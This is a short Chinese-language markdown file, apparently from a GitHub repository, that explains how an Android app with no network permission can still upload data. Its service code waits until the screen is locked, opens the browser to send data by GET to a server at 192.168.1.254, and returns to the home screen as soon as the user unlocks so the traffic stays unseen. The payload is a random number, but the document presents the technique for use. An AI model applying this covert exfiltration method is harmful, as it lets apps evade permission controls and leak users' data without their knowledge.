Skip to content

Latest commit

 

History

History
44 lines (41 loc) · 1.45 KB

零权限上传数据.md

File metadata and controls

44 lines (41 loc) · 1.45 KB

零权限上传数据

虽然没有权限,但是也可以通过浏览器用Get方式来传递自己的数据,由于这样会打开浏览器,为了防止让用户看到, 所以我们可以再用户锁屏之后开始传递数据,而在用户一解除锁屏我们就回到桌面,这里用KeyguardManager来实现, 即在锁屏的时候键盘不能用,而一旦键盘能用了我们就立马回到桌面

public void onCreate() {
	timer = new Timer();
	km = (KeyguardManager) getSystemService(KEYGUARD_SERVICE);
	random = new Random();
	task = new TimerTask() {
		@Override
		public void run() {
			if (km.inKeyguardRestrictedInputMode()) {
				Intent intent = new Intent();
				intent.setAction(Intent.ACTION_VIEW);
				intent.addCategory(Intent.CATEGORY_BROWSABLE);
				intent.setData(Uri
						.parse("http://192.168.1.254:8080/web/UploadServlet?info="
								+ random.nextInt()));
				intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
				startActivity(intent);
			}else{		
				//回桌面.
				Intent intent = new Intent();
				intent.setAction("android.intent.action.MAIN");
				intent.addCategory("android.intent.category.HOME");
				intent.addCategory(Intent.CATEGORY_DEFAULT);
				intent.addCategory("android.intent.category.MONKEY");
				intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
				startActivity(intent);
			}
		}
	};
	timer.schedule(task, 1000, 2000);
	super.onCreate();
}